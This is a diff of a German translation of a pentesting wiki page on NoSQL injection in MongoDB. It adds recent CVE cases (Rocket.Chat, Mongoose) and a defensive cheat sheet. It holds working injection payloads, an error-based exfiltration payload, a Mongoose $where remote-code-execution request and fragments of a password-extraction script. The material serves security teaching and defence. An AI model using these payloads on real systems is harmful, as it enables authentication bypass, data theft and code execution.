Translated ['src/pentesting-web/nosql-injection.md'] to de

src/pentesting-web/nosql-injection.md

@@ -4,7 +4,7 @@
 
 ## Ausnutzen
 
-In PHP können Sie ein Array senden, indem Sie den gesendeten Parameter von _parameter=foo_ zu _parameter\[arrName]=foo_ ändern.
+In PHP können Sie ein Array senden, indem Sie den gesendeten Parameter von _parameter=foo_ zu _parameter[arrName]=foo_ ändern.
 
 Die Exploits basieren auf dem Hinzufügen eines **Operators**:
 ```bash
@@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
 ```javascript
 query = { $where: `this.username == '${username}'` }
 ```
-Ein Angreifer kann dies ausnutzen, indem er Zeichenfolgen wie `admin' || 'a'=='a` eingibt, wodurch die Abfrage alle Dokumente zurückgibt, indem die Bedingung mit einer Tautologie erfüllt wird (`'a'=='a'`). Dies ist analog zu SQL-Injection-Angriffen, bei denen Eingaben wie `' or 1=1-- -` verwendet werden, um SQL-Abfragen zu manipulieren. In MongoDB können ähnliche Injektionen mit Eingaben wie `' || 1==1//`, `' || 1==1%00` oder `admin' || 'a'=='a` durchgeführt werden.
+Ein Angreifer kann dies ausnutzen, indem er Zeichenfolgen wie `admin' || 'a'=='a` eingibt, wodurch die Abfrage alle Dokumente zurückgibt, indem die Bedingung mit einer Tautologie (`'a'=='a'`) erfüllt wird. Dies ist analog zu SQL-Injection-Angriffen, bei denen Eingaben wie `' or 1=1-- -` verwendet werden, um SQL-Abfragen zu manipulieren. In MongoDB können ähnliche Injektionen mit Eingaben wie `' || 1==1//`, `' || 1==1%00` oder `admin' || 'a'=='a` durchgeführt werden.
 ```
 Normal sql: ' or 1=1-- -
 Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a
@@ -110,10 +110,44 @@ Es ist möglich, [**$lookup**](https://www.mongodb.com/docs/manual/reference/ope
 ```
 ### Error-Based Injection
 
-Injiziere `throw new Error(JSON.stringify(this))` in eine `$where`-Klausel, um vollständige Dokumente über serverseitige JavaScript-Fehler zu exfiltrieren (erfordert, dass die Anwendung Datenbankfehler preisgibt). Beispiel:
+Injiziere `throw new Error(JSON.stringify(this))` in eine `$where`-Klausel, um vollständige Dokumente über serverseitige JavaScript-Fehler zu exfiltrieren (erfordert, dass die Anwendung Datenbankfehler leakt). Beispiel:
 ```json
 { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
 ```
+## Aktuelle CVEs & reale Exploits (2023-2025)
+
+### Rocket.Chat unautorisierte blinde NoSQLi – CVE-2023-28359
+Versionen ≤ 6.0.0 exponierten die Meteor-Methode `listEmojiCustom`, die ein benutzerkontrolliertes **selector**-Objekt direkt an `find()` weiterleitete. Durch das Injizieren von Operatoren wie `{"$where":"sleep(2000)||true"}` konnte ein unautorisierter Angreifer ein Timing-Orakel erstellen und Dokumente exfiltrieren. Der Fehler wurde in 6.0.1 behoben, indem die Form des Selectors validiert und gefährliche Operatoren entfernt wurden.
+
+### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061
+Wenn `populate()` mit der `match`-Option verwendet wird, kopierte Mongoose (≤ 8.8.2) das Objekt wörtlich *bevor* es an MongoDB gesendet wurde. Das Bereitstellen von `$where` führte daher zur Ausführung von JavaScript **innerhalb von Node.js**, selbst wenn serverseitiges JS auf MongoDB deaktiviert war:
+```js
+// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
+Post.find()
+.populate({ path: 'author', match: req.query.author });   // RCE
+```
+Der erste Patch (8.8.3) blockierte das Top-Level `$where`, aber das Nesten unter `$or` umging den Filter, was zu CVE-2025-23061 führte. Das Problem wurde in 8.9.5 vollständig behoben, und eine neue Verbindungsoption `sanitizeFilter: true` wurde eingeführt.
+
+### GraphQL → Mongo Filter Verwirrung
+Resolver, die `args.filter` direkt in `collection.find()` weiterleiten, bleiben anfällig:
+```graphql
+query users($f:UserFilter){
+users(filter:$f){ _id email }
+}
+
+# variables
+{ "f": { "$ne": {} } }
+```
+Mitigationen: rekursiv Schlüssel entfernen, die mit `$` beginnen, erlaubte Operatoren explizit zuordnen oder mit Schema-Bibliotheken (Joi, Zod) validieren.
+
+## Defensive Cheat-Sheet (aktualisiert 2025)
+
+1. Entfernen oder ablehnen Sie jeden Schlüssel, der mit `$` beginnt (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
+2. Deaktivieren Sie serverseitiges JavaScript auf selbstgehostetem MongoDB (`--noscripting`, Standard in v7.0+).
+3. Bevorzugen Sie `$expr` und Aggregations-Builder anstelle von `$where`.
+4. Validieren Sie Datentypen frühzeitig (Joi/Ajv) und verbieten Sie Arrays, wo Skalare erwartet werden, um `[$ne]` Tricks zu vermeiden.
+5. Für GraphQL, übersetzen Sie Filterargumente durch eine Erlauben-Liste; niemals untrusted Objekte verbreiten.
+
 ## MongoDB Payloads
 
 Liste [von hier](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
@@ -193,6 +227,7 @@ url = "http://example.com"
 headers = {"Host": "exmaple.com"}
 cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
 possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
+
 def get_password(username):
 print("Extracting password of "+username)
 params = {"username":username, "password[$regex]":"", "login": "login"}
@@ -225,9 +260,10 @@ for u in get_usernames(""):
 get_password(u)
 ```
 ## Tools
-
 - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
 - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
+- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
+- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
 
 ## References
 
@@ -236,5 +272,7 @@ get_password(u)
 - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
 - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
 - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
+- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
+- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
 
 {{#include ../banners/hacktricks-training.md}}